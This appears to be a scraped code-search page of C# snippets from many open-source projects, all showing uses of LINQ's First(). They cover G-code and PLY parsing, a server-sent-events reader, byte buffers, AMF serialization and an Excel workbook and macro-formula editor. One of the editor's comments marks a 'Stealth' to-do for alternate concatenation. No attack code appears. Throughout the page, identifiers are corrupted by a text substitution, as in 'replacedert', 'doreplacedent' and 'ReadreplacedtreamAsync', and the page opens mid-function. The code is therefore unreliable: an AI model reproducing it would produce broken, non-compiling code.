if (_ctx.Options.EnableAddOrUpdateNavigateList)
foreach (var item in data)
await AddOrUpdateNavigateListAsync(item);
return;
case DataType.MySql:
case DataType.Oracle:
case DataType.Sqlite:
foreach (var s in data)
await AddPrivAsync(s, false);
return;
}
} else {
//进入队列,等待 SaveChanges 时执行
foreach (var item in data)
EnqueueToDbContext(DbContext.ExecCommandInfoType.Insert, CreateEnreplacedyState(item));
AttachRange(data);
if (_ctx.Options.EnableAddOrUpdateNavigateList)
foreach (var item in data)
await AddOrUpdateNavigateListAsync(item);
}
}
19
Source : PlyHandler.cs
with MIT License
from 3DBear
with MIT License
from 3DBear
private static List<int> GetTriangles(string faceVertexList, PlyHeader header)
{
switch (header.FaceParseMode)
{
case PlyFaceParseMode.VertexCountVertexIndex:
var split = faceVertexList.Split(' ');
var count = Convert.ToInt32(split.First());
switch (count)
{
case 3: // triangle
return split.ToList().GetRange(1, 3).Select(x => Convert.ToInt32(x)).ToList();
case 4: // face
var triangles = new List<int>();
var indices = split.ToList().GetRange(1, 4).Select(x => Convert.ToInt32(x)).ToList();
triangles.AddRange(QuadToTriangles(indices));
return triangles;
default:
Debug.LogWarning("Warning: Found a face with more than 4 vertices, skipping...");
return new List<int>();
}
default:
Debug.LogWarning("Ply GetTriangles: Unknown parse mode");
return new List<int>();
}
}
19
Source : GCodeParser.cs
with MIT License
from 3RD-Dimension
with MIT License
from 3RD-Dimension
static void Parse(string line, int lineNumber)
{
MatchCollection matches = GCodeSplitter.Matches(line);
List<Word> Words = new List<Word>(matches.Count);
foreach (Match match in matches)
{
Words.Add(new Word() { Command = match.Groups[1].Value[0], Parameter = double.Parse(match.Groups[2].Value, Constants.DecimalParseFormat) });
}
for (int i = 0; i < Words.Count; i++)
{
if (Words[i].Command == 'N')
{
Words.RemoveAt(i--);
continue;
}
if (IgnoreAxes.Contains(Words[i].Command) && Properties.Settings.Default.IgnoreAdditionalAxes)
{
Words.RemoveAt(i--);
continue;
}
if (!ValidWords.Contains(Words[i].Command))
{
Warnings.Add($"ignoring unknown word (letter): \"{Words[i]}\". (line {lineNumber})");
Words.RemoveAt(i--);
continue;
}
if (Words[i].Command != 'F')
continue;
State.Feed = Words[i].Parameter;
if (State.Unit == ParseUnit.Imperial)
State.Feed *= 25.4;
Words.RemoveAt(i--);
continue;
}
for (int i = 0; i < Words.Count; i++)
{
if (Words[i].Command == 'M')
{
int param = (int)Words[i].Parameter;
if (param != Words[i].Parameter || param < 0)
throw new ParseException("M code can only have positive integer parameters", lineNumber);
Commands.Add(new MCode() { Code = param, LineNumber = lineNumber });
Words.RemoveAt(i);
i--;
continue;
}
if (Words[i].Command == 'S')
{
double param = Words[i].Parameter;
if (param < 0)
Warnings.Add($"spindle speed must be positive. (line {lineNumber})");
Commands.Add(new Spindle() { Speed = Math.Abs(param), LineNumber = lineNumber });
Words.RemoveAt(i);
i--;
continue;
}
if (Words[i].Command == 'G' && !MotionCommands.Contains(Words[i].Parameter))
{
#region UnitPlaneDistanceMode
double param = Words[i].Parameter;
if (param == 90)
{
State.DistanceMode = ParseDistanceMode.Absolute;
Words.RemoveAt(i);
i--;
continue;
}
if (param == 91)
{
State.DistanceMode = ParseDistanceMode.Incremental;
Words.RemoveAt(i);
i--;
continue;
}
if (param == 90.1)
{
State.ArcDistanceMode = ParseDistanceMode.Absolute;
Words.RemoveAt(i);
continue;
}
if (param == 91.1)
{
State.ArcDistanceMode = ParseDistanceMode.Incremental;
Words.RemoveAt(i);
i--;
continue;
}
if (param == 21)
{
State.Unit = ParseUnit.Metric;
Words.RemoveAt(i);
i--;
continue;
}
if (param == 20)
{
State.Unit = ParseUnit.Imperial;
Words.RemoveAt(i);
i--;
continue;
}
if (param == 17)
{
State.Plane = ArcPlane.XY;
Words.RemoveAt(i);
i--;
continue;
}
if (param == 18)
{
State.Plane = ArcPlane.ZX;
Words.RemoveAt(i);
i--;
continue;
}
if (param == 19)
{
State.Plane = ArcPlane.YZ;
Words.RemoveAt(i);
i--;
continue;
}
if (param == 4)
{
if (Words.Count >= 2 && Words[i + 1].Command == 'P')
{
if (Words[i + 1].Parameter < 0)
Warnings.Add($"dwell time must be positive. (line {lineNumber})");
Commands.Add(new Dwell() { Seconds = Math.Abs(Words[i + 1].Parameter), LineNumber = lineNumber });
Words.RemoveAt(i + 1);
Words.RemoveAt(i);
i--;
continue;
}
}
Warnings.Add($"ignoring unknown command G{param}. (line {lineNumber})");
Words.RemoveAt(i--);
#endregion
}
}
if (Words.Count == 0)
return;
int MotionMode = State.LastMotionMode;
if (Words.First().Command == 'G')
{
MotionMode = (int)Words.First().Parameter;
State.LastMotionMode = MotionMode;
Words.RemoveAt(0);
}
if (MotionMode < 0)
throw new ParseException("no motion mode active", lineNumber);
double UnitMultiplier = (State.Unit == ParseUnit.Metric) ? 1 : 25.4;
Vector3 EndPos = State.Position;
if (State.DistanceMode == ParseDistanceMode.Incremental && State.PositionValid.Any(isValid => !isValid))
{
throw new ParseException("incremental motion is only allowed after an absolute position has been established (eg. with \"G90 G0 X0 Y0 Z5\")", lineNumber);
}
if ((MotionMode == 2 || MotionMode == 3) && State.PositionValid.Any(isValid => !isValid))
{
throw new ParseException("arcs (G2/G3) are only allowed after an absolute position has been established (eg. with \"G90 G0 X0 Y0 Z5\")", lineNumber);
}
#region FindEndPos
{
int Incremental = (State.DistanceMode == ParseDistanceMode.Incremental) ? 1 : 0;
for (int i = 0; i < Words.Count; i++)
{
if (Words[i].Command != 'X')
continue;
EndPos.X = Words[i].Parameter * UnitMultiplier + Incremental * EndPos.X;
Words.RemoveAt(i);
State.PositionValid[0] = true;
break;
}
for (int i = 0; i < Words.Count; i++)
{
if (Words[i].Command != 'Y')
continue;
EndPos.Y = Words[i].Parameter * UnitMultiplier + Incremental * EndPos.Y;
Words.RemoveAt(i);
State.PositionValid[1] = true;
break;
}
for (int i = 0; i < Words.Count; i++)
{
if (Words[i].Command != 'Z')
continue;
EndPos.Z = Words[i].Parameter * UnitMultiplier + Incremental * EndPos.Z;
Words.RemoveAt(i);
State.PositionValid[2] = true;
break;
}
}
#endregion
if (MotionMode != 0 && State.Feed <= 0)
{
throw new ParseException("feed rate undefined", lineNumber);
}
if (MotionMode == 1 && State.PositionValid.Any(isValid => !isValid))
{
Warnings.Add($"a feed move is used before an absolute position is established, height maps will not be applied to this motion. (line {lineNumber})");
}
if (MotionMode <= 1)
{
if (Words.Count > 0)
Warnings.Add($"motion command must be last in line (ignoring unused words {string.Join(" ", Words)} in block). (line {lineNumber})");
Line motion = new Line();
motion.Start = State.Position;
motion.End = EndPos;
motion.Feed = State.Feed;
motion.Rapid = MotionMode == 0;
motion.LineNumber = lineNumber;
State.PositionValid.CopyTo(motion.PositionValid, 0);
Commands.Add(motion);
State.Position = EndPos;
return;
}
double U, V;
bool IJKused = false;
switch (State.Plane)
{
default:
U = State.Position.X;
V = State.Position.Y;
break;
case ArcPlane.YZ:
U = State.Position.Y;
V = State.Position.Z;
break;
case ArcPlane.ZX:
U = State.Position.Z;
V = State.Position.X;
break;
}
#region FindIJK
{
int ArcIncremental = (State.ArcDistanceMode == ParseDistanceMode.Incremental) ? 1 : 0;
for (int i = 0; i < Words.Count; i++)
{
if (Words[i].Command != 'I')
continue;
switch (State.Plane)
{
case ArcPlane.XY:
U = Words[i].Parameter * UnitMultiplier + ArcIncremental * State.Position.X;
break;
case ArcPlane.YZ:
throw new ParseException("current plane is YZ, I word is invalid", lineNumber);
case ArcPlane.ZX:
V = Words[i].Parameter * UnitMultiplier + ArcIncremental * State.Position.X;
break;
}
IJKused = true;
Words.RemoveAt(i);
break;
}
for (int i = 0; i < Words.Count; i++)
{
if (Words[i].Command != 'J')
continue;
switch (State.Plane)
{
case ArcPlane.XY:
V = Words[i].Parameter * UnitMultiplier + ArcIncremental * State.Position.Y;
break;
case ArcPlane.YZ:
U = Words[i].Parameter * UnitMultiplier + ArcIncremental * State.Position.Y;
break;
case ArcPlane.ZX:
throw new ParseException("current plane is ZX, J word is invalid", lineNumber);
}
IJKused = true;
Words.RemoveAt(i);
break;
}
for (int i = 0; i < Words.Count; i++)
{
if (Words[i].Command != 'K')
continue;
switch (State.Plane)
{
case ArcPlane.XY:
throw new ParseException("current plane is XY, K word is invalid", lineNumber);
case ArcPlane.YZ:
V = Words[i].Parameter * UnitMultiplier + ArcIncremental * State.Position.Z;
break;
case ArcPlane.ZX:
U = Words[i].Parameter * UnitMultiplier + ArcIncremental * State.Position.Z;
break;
}
IJKused = true;
Words.RemoveAt(i);
break;
}
}
#endregion
#region ResolveRadius
for (int i = 0; i < Words.Count; i++)
{
if (Words[i].Command != 'R')
continue;
if (IJKused)
throw new ParseException("both IJK and R notation used", lineNumber);
if (State.Position == EndPos)
throw new ParseException("arcs in R-notation must have non-coincident start and end points", lineNumber);
double Radius = Words[i].Parameter * UnitMultiplier;
if (Radius == 0)
throw new ParseException("radius can't be zero", lineNumber);
double A, B;
switch (State.Plane)
{
default:
A = EndPos.X;
B = EndPos.Y;
break;
case ArcPlane.YZ:
A = EndPos.Y;
B = EndPos.Z;
break;
case ArcPlane.ZX:
A = EndPos.Z;
B = EndPos.X;
break;
}
A -= U; //(AB) = vector from start to end of arc along the axes of the current plane
B -= V;
//see grbl/gcode.c
double h_x2_div_d = 4.0 * (Radius * Radius) - (A * A + B * B);
if (h_x2_div_d < 0)
{
throw new ParseException("arc radius too small to reach both ends", lineNumber);
}
h_x2_div_d = -Math.Sqrt(h_x2_div_d) / Math.Sqrt(A * A + B * B);
if (MotionMode == 3 ^ Radius < 0)
{
h_x2_div_d = -h_x2_div_d;
}
U += 0.5 * (A - (B * h_x2_div_d));
V += 0.5 * (B + (A * h_x2_div_d));
Words.RemoveAt(i);
break;
}
#endregion
if (Words.Count > 0)
Warnings.Add($"motion command must be last in line (ignoring unused words {string.Join(" ", Words)} in block). (line {lineNumber})");
Arc arc = new Arc();
arc.Start = State.Position;
arc.End = EndPos;
arc.Feed = State.Feed;
arc.Direction = (MotionMode == 2) ? ArcDirection.CW : ArcDirection.CCW;
arc.U = U;
arc.V = V;
arc.LineNumber = lineNumber;
arc.Plane = State.Plane;
Commands.Add(arc);
State.Position = EndPos;
return;
}
19
Source : XProjectEnv.cs
with MIT License
from 3F
with MIT License
from 3F
protected IEnumerable<ProjecreplacedemCfg> GetUniqPrjCfgs(IEnumerable<ProjecreplacedemCfg> pItems)
{
// each sln cfg may refer to the same prj cfg more than once
return pItems.GroupBy(p => new{ p.project.pGuid, p.projectConfig }).Select(g => g.First());
}
19
Source : EventSourceReader.cs
with MIT License
from 3ventic
with MIT License
from 3ventic
private async Task ReaderAsync()
{
try
{
if (string.Empty != LastEventId)
{
if (Hc.DefaultRequestHeaders.Contains("Last-Event-Id"))
{
Hc.DefaultRequestHeaders.Remove("Last-Event-Id");
}
Hc.DefaultRequestHeaders.TryAddWithoutValidation("Last-Event-Id", LastEventId);
}
using (HttpResponseMessage response = await Hc.GetAsync(Uri, HttpCompletionOption.ResponseHeadersRead))
{
response.EnsureSuccessStatusCode();
if (response.Headers.TryGetValues("content-type", out IEnumerable<string> ctypes) || ctypes?.Contains("text/event-stream") == false)
{
throw new ArgumentException("Specified URI does not return server-sent events");
}
Stream = await response.Content.ReadreplacedtreamAsync();
using (var sr = new StreamReader(Stream))
{
string evt = DefaultEventType;
string id = string.Empty;
var data = new StringBuilder(string.Empty);
while (true)
{
string line = await sr.ReadLineAsync();
if (line == string.Empty)
{
// double newline, dispatch message and reset for next
if (data.Length > 0)
{
MessageReceived?.Invoke(this, new EventSourceMessageEventArgs(data.ToString().Trim(), evt, id));
}
data.Clear();
id = string.Empty;
evt = DefaultEventType;
continue;
}
else if (line.First() == ':')
{
// Ignore comments
continue;
}
int dataIndex = line.IndexOf(':');
string field;
if (dataIndex == -1)
{
dataIndex = line.Length;
field = line;
}
else
{
field = line.Substring(0, dataIndex);
dataIndex += 1;
}
string value = line.Substring(dataIndex).Trim();
switch (field)
{
case "event":
// Set event type
evt = value;
break;
case "data":
// Append a line to data using a single \n as EOL
data.Append($"{value}\n");
break;
case "retry":
// Set reconnect delay for next disconnect
int.TryParse(value, out ReconnectDelay);
break;
case "id":
// Set ID
LastEventId = value;
id = LastEventId;
break;
default:
// Ignore other fields
break;
}
}
}
}
}
catch (Exception ex)
{
Disconnect(ex);
}
}
19
Source : LoremFuzzer.cs
with Apache License 2.0
from 42skillz
with Apache License 2.0
from 42skillz
public string GenerateSentence(int? nbOfWords = null)
{
nbOfWords = nbOfWords ?? 6;
if(nbOfWords < MinNumberOfWordsInASentence)
{
throw new ArgumentOutOfRangeException(nameof(nbOfWords), "A sentence must have more than 1 word.");
}
var words = GenerateWords(nbOfWords.Value).ToArray();
var firstWordCapitalized = words.First().FirstCharToUpper();
words[0] = firstWordCapitalized;
var sentence = $"{string.Join(" ", words)}.";
return sentence;
}
19
Source : ReflectionExtensions.cs
with Apache License 2.0
from 42skillz
with Apache License 2.0
from 42skillz
public static ConstructorInfo GetConstructorWithBiggestNumberOfParameters(this Type type)
{
var constructors = type.GetConstructorsOrderedByNumberOfParametersDesc().ToArray();
if (!constructors.Any())
{
return null;
}
return constructors.First();
}
19
Source : Seat.cs
with Apache License 2.0
from 42skillz
with Apache License 2.0
from 42skillz
public bool IsAdjacentWith(List<Seat> seats)
{
var orderedSeats = seats.OrderBy(s => s.Number).ToList();
var seat = orderedSeats.First();
if (Number + 1 == seat.Number || Number - 1 == seat.Number)
{
return true;
}
seat = seats.Last();
return Number + 1 == seat.Number || Number - 1 == seat.Number;
}
19
Source : StringExtensions.cs
with Apache License 2.0
from 42skillz
with Apache License 2.0
from 42skillz
public static string FirstCharToUpper(this string word)
{
switch (word)
{
case null:
throw new ArgumentNullException(nameof(word));
case "":
throw new ArgumentException($"{nameof(word)} cannot be empty", nameof(word));
default:
return word.First().ToString().ToUpper() + word.Substring(1);
}
}
19
Source : ResponsePacketProcessor.cs
with MIT License
from 499116344
with MIT License
from 499116344
public IPacketCommand Process()
{
var receivePackageCommandAttributes = _receivePacketType.GetCustomAttributes<ReceivePacketCommand>();
if (receivePackageCommandAttributes.Any())
{
var packetCommand = receivePackageCommandAttributes.First().Command;
var types = replacedembly.GetExecutingreplacedembly().GetTypes();
foreach (var type in types)
{
var attributes = type.GetCustomAttributes<ResponsePacketCommand>();
if (!attributes.Any())
{
continue;
}
var responseCommand = attributes.First().Command;
if (responseCommand == packetCommand)
{
return Activator.CreateInstance(type, _args) as IPacketCommand;
}
}
}
return new DefaultResponseCommand(new QQEventArgs<ReceivePacket>(_args.Service, _args.User,
_args.ReceivePacket));
}
19
Source : SimpleJSON.cs
with MIT License
from 71
with MIT License
from 71
public override JSONNode Remove(JSONNode aNode)
{
try
{
var item = m_Dict.Where(k => k.Value == aNode).First();
m_Dict.Remove(item.Key);
return aNode;
}
catch
{
return null;
}
}
19
Source : NpcMovingJobService.cs
with GNU Lesser General Public License v3.0
from 8720826
with GNU Lesser General Public License v3.0
from 8720826
private async Task DoWork()
{
using (var scope = _services.CreateScope())
{
var _npcDomainService = scope.ServiceProvider.GetRequiredService<INpcDomainService>();
var _redisDb = scope.ServiceProvider.GetRequiredService<IRedisDb>();
var _mudProvider = scope.ServiceProvider.GetRequiredService<IMudProvider>();
var _roomDomainService = scope.ServiceProvider.GetRequiredService<IRoomDomainService>();
var _bus = scope.ServiceProvider.GetRequiredService<IMediatorHandler>();
var npcs = await _npcDomainService.GetAllFromCache();
var npc = npcs.Where(x => x.CanMove && !x.IsDead && x.IsEnable).OrderBy(x => Guid.NewGuid()).FirstOrDefault();
if (npc == null)
{
return;
}
var npcFightingPlayerId = await _redisDb.StringGet<int>(string.Format(RedisKey.NpcFighting, npc.Id));
if (npcFightingPlayerId > 0)
{
return;
}
var roomOut = await _roomDomainService.Get(npc.RoomId);
if (roomOut == null)
{
return;
}
var roomOutId = npc.RoomId;
var roomIds = new List<int> { roomOut.East, roomOut.West, roomOut.South, roomOut.North }.Where(x => x > 0).ToList();
if (roomIds.Count == 0)
{
return;
}
var roomInId = roomIds.OrderBy(x => Guid.NewGuid()).First();
var roomIn = await _roomDomainService.Get(roomInId);
if (roomIn == null)
{
return;
}
npc.RoomId = roomInId;
await _npcDomainService.Update(npc);
await _bus.RaiseEvent(new NpcMovedEvent(npc, roomIn, roomOut));
}
}
19
Source : Geometry.cs
with GNU Lesser General Public License v3.0
from 9and3
with GNU Lesser General Public License v3.0
from 9and3
public static void Offset(IEnumerable<Polyline> polylines, double distance, out List<Polyline> outContour,
out List<Polyline> outHole) {
// ReSharper disable once PossibleMultipleEnumeration
Polyline pl = polylines.First();
Plane pln = pl.FitPlane();
//
// ReSharper disable once PossibleMultipleEnumeration
Offset(polylines, OpenFilletType.Square, ClosedFilletType.Square, distance, pln, RhinoDoc.ActiveDoc.ModelAbsoluteTolerance, out outContour, out outHole);
}
19
Source : ByteBuffer.cs
with MIT License
from a1q123456
with MIT License
from a1q123456
private void TakeOutMemoryNoCheck(Span<byte> buffer)
{
lock (_sync)
{
var discardBuffers = new List<byte[]>();
bool prevDiscarded = false;
if (Length < buffer.Length && _maxiumBufferSize >= 0)
{
throw new InvalidProgramException();
}
foreach (var b in _buffers)
{
if (buffer.Length == 0)
{
break;
}
var start = 0;
var end = BufferSegmentSize;
var isFirst = b == _buffers.First() || prevDiscarded;
var isLast = b == _buffers.Last();
if (isFirst)
{
start = _bufferStart;
}
if (isLast)
{
end = _bufferEnd;
}
var length = end - start;
var needToCopy = Math.Min(buffer.Length, length);
b.replacedpan(start, needToCopy).CopyTo(buffer);
start += needToCopy;
if (isFirst)
{
_bufferStart += needToCopy;
}
if (end - start == 0)
{
if (isFirst)
{
_bufferStart = 0;
}
if (isLast)
{
_bufferEnd = 0;
}
discardBuffers.Add(b);
prevDiscarded = true;
}
else
{
prevDiscarded = false;
}
buffer = buffer.Slice(needToCopy);
}
//Console.WriteLine(Length);
Debug.replacedert(buffer.Length == 0 || _maxiumBufferSize < 0);
while (discardBuffers.Any())
{
var b = discardBuffers.First();
_arrayPool.Return(b);
discardBuffers.Remove(b);
_buffers.Remove(b);
}
if (!_buffers.Any())
{
AddNewBufferSegment();
}
}
if (Length <= _maxiumBufferSize && _maxiumBufferSize >= 0)
{
_memoryUnderLimit?.Invoke();
}
}
19
Source : Amf3Writer.cs
with MIT License
from a1q123456
with MIT License
from a1q123456
private void WrapVector(object value, SerializationContext context)
{
var valueType = value.GetType();
var contractRet = valueType.IsGenericType;
Contract.replacedert(contractRet);
var defination = valueType.GetGenericTypeDefinition();
Contract.replacedert(defination == typeof(Vector<>));
var vectorT = valueType.GetGenericArguments().First();
_writeVectorTMethod.MakeGenericMethod(vectorT).Invoke(this, new object[] { value, context });
}
19
Source : Amf3Writer.cs
with MIT License
from a1q123456
with MIT License
from a1q123456
private void WrapDictionary(object value, SerializationContext context)
{
var valueType = value.GetType();
var contractRet = valueType.IsGenericType;
Contract.replacedert(contractRet);
var defination = valueType.GetGenericTypeDefinition();
Contract.replacedert(defination == typeof(Amf3Dictionary<,>));
var tKey = valueType.GetGenericArguments().First();
var tValue = valueType.GetGenericArguments().Last();
_writeDictionaryTMethod.MakeGenericMethod(tKey, tValue).Invoke(this, new object[] { value, context });
}
19
Source : NetConnection.cs
with MIT License
from a1q123456
with MIT License
from a1q123456
protected virtual void Dispose(bool disposing)
{
if (!disposedValue)
{
if (disposing)
{
lock (_streamsLock)
{
while (_netStreams.Any())
{
(_, var stream) = _netStreams.First();
if (stream is IDisposable disp)
{
disp.Dispose();
}
}
}
_rtmpChunkStream.Dispose();
}
disposedValue = true;
}
}
19
Source : LUTPanelOptions.cs
with MIT License
from a1xd
with MIT License
from a1xd
public void SetActiveValues(IEnumerable<float> rawData, int length, AccelMode mode)
{
if (mode == AccelMode.lut && length > 1 && rawData.First() != 0)
{
var pointsLen = length / 2;
var points = new Vec2<float>[pointsLen];
for (int i = 0; i < pointsLen; i++)
{
var data_idx = i * 2;
points[i] = new Vec2<float>
{
x = rawData.ElementAt(data_idx),
y = rawData.ElementAt(data_idx + 1)
};
}
ActiveValuesTextBox.Text = PointsToActiveValuesText(points, pointsLen);
if (string.IsNullOrWhiteSpace(PointsTextBox.Text))
{
PointsTextBox.Text = PointsToEntryTextBoxText(points, pointsLen);
}
}
else
{
ActiveValuesTextBox.Text = string.Empty;
}
}
19
Source : SerialBusManager.cs
with GNU General Public License v3.0
from a4004
with GNU General Public License v3.0
from a4004
private static string GetDeviceName(string comPort)
{
try
{
string result = new ManagementObjectSearcher("Select * from Win32_SerialPort")
.Get().OfType<ManagementObject>()
.Where(o => comPort.Equals(o["DeviceID"]))
.First().Properties.OfType<PropertyData>()
.Where(t => t.Name.Equals("Description"))
.First().Value as string;
return result;
}
catch
{
return $"Unknown device ({comPort})";
}
}
19
Source : FormulaHelper.cs
with Apache License 2.0
from aaaddress1
with Apache License 2.0
from aaaddress1
public static Formula BuildConcatCellsFormula(List<Cell> cells, int frmRow, int frmCol, int ixfe = 15)
{
Stack<AbstractPtg> ptgStack = new Stack<AbstractPtg>();
Cell firstCell = cells.First();
List<Cell> remainingCells = cells.TakeLast(cells.Count - 1).ToList();
PtgRef cellRef = new PtgRef(firstCell.Rw, firstCell.Col, false, false, AbstractPtg.PtgDataType.VALUE);
ptgStack.Push(cellRef);
//TODO [Stealth] Use alternate concat methods beyond PtgConcat, for example CONCATENATE via PtgFuncVar
foreach (Cell cell in remainingCells)
{
PtgConcat ptgConcat = new PtgConcat();
PtgRef appendedCellRef = new PtgRef(cell.Rw, cell.Col, false, false, AbstractPtg.PtgDataType.VALUE);
ptgStack.Push(appendedCellRef);
ptgStack.Push(ptgConcat);
}
Formula f = new Formula(new Cell(frmRow, frmCol, ixfe), FormulaValue.GetEmptyStringFormulaValue(), true, new CellParsedFormula(ptgStack));
return f;
}
19
Source : MacroPatterns.cs
with Apache License 2.0
from aaaddress1
with Apache License 2.0
from aaaddress1
public static string ReplaceSelectActiveCellFormula(string cellFormula, string variableName = DefaultVariableName)
{
if (cellFormula.Contains("ACTIVE.CELL()"))
{
cellFormula = cellFormula.Replace("ACTIVE.CELL()", variableName);
}
string selectRegex = @"=SELECT\(.*?\)";
string selectRelativeRegex = @"=SELECT\(.*(R(\[\d+\]){0,1}C(\[\d+\]){0,1}).*?\)";
Regex sRegex = new Regex(selectRegex);
Regex srRegex = new Regex(selectRelativeRegex);
Match sRegexMatch = sRegex.Match(cellFormula);
if (sRegexMatch.Success)
{
Match srRegexMatch = srRegex.Match(cellFormula);
string selectStringMatch = sRegexMatch.Value;
//We have a line like =SELECT(,"R[1]C")
if (srRegexMatch.Success)
{
string relAddress = srRegexMatch.Groups[1].Value;
string relReplace = cellFormula.Replace(selectStringMatch,
string.Format("{0}=ABSREF(\"{1}\",{0})", variableName, relAddress));
return relReplace;
}
//We have a line like =SELECT(B1:B111,B1)
else
{
string targetCell = selectStringMatch.Split(",").Last().Split(')').First();
string varreplacedign = cellFormula.Replace(selectStringMatch,
string.Format("{0}={1}", variableName, targetCell));
return varreplacedign;
}
}
return cellFormula;
}
19
Source : MacroPatterns.cs
with Apache License 2.0
from aaaddress1
with Apache License 2.0
from aaaddress1
private static bool LooksLikeVariablereplacedignment(string formula)
{
try
{
//Make sure the first character isn't a number, but is a valid variable character
if (IsValidVariableNameCharacter(formula[0]))
{
char firstNonVariableCharacter =
formula.SkipWhile(c => IsValidVariableNameCharacter(c, true)).First();
if (firstNonVariableCharacter == '=')
{
return true;
}
}
}
catch (Exception)
{
//If every character is a valid variable name, then .First() will return nothing
}
return false;
}
19
Source : WorkbookEditor.cs
with Apache License 2.0
from aaaddress1
with Apache License 2.0
from aaaddress1
public WorkbookStream InsertBoundSheetRecord(BoundSheet8 boundSheet8)
{
List<BiffRecord> records = WbStream.Records;
List<BoundSheet8> sheets = records.Where(r => r.Id == RecordType.BoundSheet8).Select(sheet => BuildBoundSheetFromBytes(sheet.GetBytes())).ToList();
boundSheet8.lbPlyPos = sheets.First().lbPlyPos;
sheets.Add(boundSheet8);
foreach (var sheet in sheets)
{
sheet.lbPlyPos += boundSheet8.Length;
}
var preSheetRecords = records.TakeWhile(r => r.Id != RecordType.BoundSheet8);
var postSheetRecords = records.SkipWhile(r => r.Id != RecordType.BoundSheet8)
.SkipWhile(r => r.Id == RecordType.BoundSheet8);
List<BiffRecord> newRecordList = preSheetRecords.Concat(sheets).Concat(postSheetRecords).ToList();
WorkbookStream newStream = new WorkbookStream(newRecordList);
WbStream = newStream;
return WbStream;
}
19
Source : WorkbookEditor.cs
with Apache License 2.0
from aaaddress1
with Apache License 2.0
from aaaddress1
private WorkbookStream GetMacroStream()
{
List<BoundSheet8> sheets = WbStream.GetAllRecordsByType<BoundSheet8>();
int macroSheetIndex = sheets.TakeWhile(sheet => sheet.dt != BoundSheet8.SheetType.Macrosheet).Count();
string macroSheetName = sheets.Skip(macroSheetIndex).First().stName.Value;
BOF macroBof = WbStream.GetAllRecordsByType<BOF>().Skip(macroSheetIndex + 1).First();
List<BiffRecord> macroRecords = WbStream.GetRecordsForBOFRecord(macroBof);
WorkbookStream macroStream = new WorkbookStream(macroRecords);
return macroStream;
}
19
Source : GameUtils.cs
with Apache License 2.0
from AantCoder
with Apache License 2.0
from AantCoder
public static int FindThings(ThingDef def, int destroy, bool getMaxByMap)
{
int countAll = 0;
int countMax = 0;
List<Pair<List<Thing>, int>> maps = new List<Pair<List<Thing>, int>>();
for (int i = 0; i < Current.Game.Maps.Count; i++)
{
var m = Current.Game.Maps[i];
if (m.IsPlayerHome)
{
List<Thing> things = GameUtils.GetAllThings(m)
.Where(t => t.def == def).ToList();
var c = things.Sum(t => t.stackCount);
maps.Add(new Pair<List<Thing>, int>(things, c));
countAll += c;
if (countMax < c) countMax = c;
}
}
int count = getMaxByMap ? countMax : countAll;
if (destroy > 0 && destroy < count)
{
var destroyProcess = destroy;
while (maps.Count > 0 && destroyProcess > 0)
{
var m = maps.OrderByDescending(p => p.Second).First();
foreach (Thing thing in m.First)
{
if (thing.stackCount < destroyProcess)
{
destroyProcess -= thing.stackCount;
thing.Destroy();
}
else
{
thing.SplitOff(destroyProcess);
destroyProcess = 0;
break;
}
}
}
}
return count;
}
19
Source : SimpleLatencyBenchmark.cs
with MIT License
from Abc-Arbitrage
with MIT License
from Abc-Arbitrage
private static HistogramBase Concatenate(List<HistogramBase> seq)
{
var result = seq.First().Copy();
foreach (var h in seq.Skip(1))
result.Add(h);
return result;
}
19
Source : RectangleSelection.cs
with MIT License
from Abdesol
with MIT License
from Abdesol
TextViewPosition GetStart()
{
SelectionSegment segment = (startLine < endLine ? segments.First() : segments.Last());
if (startXPos < endXPos) {
return new TextViewPosition(doreplacedent.GetLocation(segment.StartOffset), segment.StartVisualColumn);
} else {
return new TextViewPosition(doreplacedent.GetLocation(segment.EndOffset), segment.EndVisualColumn);
}
}
19
Source : RectangleSelection.cs
with MIT License
from Abdesol
with MIT License
from Abdesol
TextViewPosition GetEnd()
{
SelectionSegment segment = (startLine < endLine ? segments.Last() : segments.First());
if (startXPos < endXPos) {
return new TextViewPosition(doreplacedent.GetLocation(segment.EndOffset), segment.EndVisualColumn);
} else {
return new TextViewPosition(doreplacedent.GetLocation(segment.StartOffset), segment.StartVisualColumn);
}
}
19
Source : NetworkingTests.cs
with MIT License
from abdullin
with MIT License
from abdullin
static void replacedertOneError(List<object> responses, string match = null) {
replacedert.AreEqual(1, responses.Count);
replacedert.IsInstanceOf<IOException>(responses.First());
if (match != null) {
var msg= responses.OfType<IOException>().First().Message;
Stringreplacedert.Contains(match, msg);
}
}
19
Source : Simulation.cs
with MIT License
from abdullin
with MIT License
from abdullin
public bool FastForward(out IList<Command> list) {
if (_inbox.Count == 0) {
list = null;
return false;
}
var future = _inbox.First();
list = future.Value;
var time = future.Key;
if (time > Time) {
Time = time;
// advance the simulation time
Debug($">>> Fast forward to T{Time} >>>");
}
_inbox.RemoveAt(0);
return true;
}
See More Examples